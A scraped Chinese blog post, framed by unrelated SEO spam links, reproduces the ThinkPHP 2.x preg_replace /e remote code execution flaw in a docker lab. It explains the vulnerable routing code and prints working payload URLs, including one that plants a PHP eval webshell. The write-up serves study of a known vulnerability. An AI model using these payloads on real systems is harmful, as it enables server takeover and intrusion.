当前位置: 首页 > news >正文

华东民航机场建设公司网站天津网站建设开发

华东民航机场建设公司网站,天津网站建设开发,wordpress4.8.3中文,做商贸生意的人都去什么网站一、漏洞详情影响版本 thinkphp 2.x但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞漏洞原因:e 和 /e模式匹配路由:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式&#xff0c…

一、漏洞详情

影响版本 thinkphp 2.x
但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞

漏洞原因:

e 和 /e模式匹配路由:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

再看看preg_replace这个函数

preg_replace('正则规则','替换字符','目标字符')

就是讲目标字符根据正则规则替换成替换字符

当preg_replace使用了/e模式,可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符(第二个参数)当做代码来执行。

举个例子

官方 payload 为 /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 
原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

最终strtolower("\\1")被执行,相当于 eval(‘strtolower(“\1”);’) 。

strtolower():把所有字符转换为小写

也就是结果是\1,而\1在正则表达式中指定的是第一个子匹配项,phpinfo()就会被成功执行

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

二、复现过程

  1. 搭建docker环境

docker-compose up -d
  1. 写入phpinfo

http://192.168.239.128:8080/index.php?s=/index/index/xxx/${@phpinfo()}
  1. 写入一句话木马

http://192.168.239.128:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

报错但是已经写进去了

连接成功

  1. 代码分析

复现是完成了,但是那个payload是怎么构造出来的呢

// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));$var  =  array();if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {// 禁止直接访问分组exit;}}if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称$var[C('VAR_MODULE')]  =   array_shift($paths);}$var[C('VAR_ACTION')]  =   array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET   =  array_merge($var,$_GET);}
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

意味着每次会取出两个参数,第一个参数作为var数组的下标,第二个参数作为该下标数组的值(也就是只要你的代码放在偶数位就会被当成数组的值执行)

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);

当数组$var在路径存在模块和动作时,会去除掉前2个值,所以我们构造的payload的数组的值需要大于2且想要执行的代码需要放在偶数位。

故可以构造payload:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
……

至于s是怎么来的:

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

这篇文章写的非常详细,我也就是照猫画虎,理解最重要。

https://www.freebuf.com/column/223149.html

三、总结

为什么${}会执行?在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称,那么这个函数就会被执行。

希望能从漏洞复现中学习到挖漏洞的思路和技巧,不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。

学习新思想,争做新青年。

每天给自己来碗鸡汤。

http://www.mmbaike.com/news/21780.html

相关文章:

  • 可以做微信小测试的网站一篇好的营销软文
  • 做美图 网站有哪些公司企业网站制作需要多少钱
  • 如何做优化网站排alexa优化seo排名谁教的好
  • 做网站的你选题的缘由是什么电子商务与网络营销教案
  • 买域名网站百度文库官网登录入口
  • 北京传媒公司排名宁波seo推广咨询
  • 旅游网站优化方案打开百度网页
  • 大学网站建设策划书自己怎样在百度上做推广
  • 相亲网站怎么做十大舆情网站
  • 做网站在阿里云买什么软件域名估价
  • 网络营销网站功能seo系统是什么
  • 做网站有哪几种语言网上广告怎么推广
  • 网页制作公司 日企seo深圳网络推广
  • 汕头网站设计定制如何制作网站二维码
  • 百度医疗网站建设seo技术教程博客
  • 高级网站建设费用网络搜索优化
  • h5设计制作是什么意思百度上如何做优化网站
  • 广州品牌网站设计今日新闻最新
  • 民族文化网站建设的作用职业技能培训
  • 做网站 赚钱多吗百度网盘电脑版下载
  • wordpress 百度广告插件企业网站优化
  • 自己独立服务器网站建设辽源seo
  • 网站开发后端用java叫什么网站推广策划案
  • 电子商务网站建设毕业论文天津百度推广公司
  • 亚马逊品牌备案网站怎么做百度推广在哪里能看到
  • 长沙市网站制作哪家好郑州seo优化
  • 情侣做记录网站源码seo快速排名关键词
  • 万维网网站注册如何制作网页游戏
  • 巩义做网站xd seob站视频怎么快速推广
  • 做网站专家系统开发